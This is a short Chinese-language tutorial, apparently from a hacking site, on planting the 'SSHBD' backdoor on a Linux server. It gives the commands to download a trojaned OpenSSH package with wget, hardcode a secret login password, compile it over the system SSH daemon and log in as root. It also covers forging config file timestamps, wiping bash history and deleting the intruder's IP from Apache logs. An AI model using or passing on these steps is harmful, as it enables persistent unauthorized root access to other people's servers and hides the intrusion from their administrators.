LINUX 安装SSHBD后门
老牌的SSH后门了,功能稳定
备份原文件:
1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下载并安装ssh后门:
shell-# wget http://www.down.com/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh
4、设置ssh后门的登录密码:
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
vi includes.h
define _SECRET_PASSWD "123456" -> 后门连接密码
5、编译安装:
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
修改文件时间:
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
重启服务
shell-# /etc/init.d/sshd restart
6、登入后门:
ssh -l root IP
password:123456
echo >/root/.bash_history //清空操作日志
7、清除apache日志:
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/IP/d' access_log*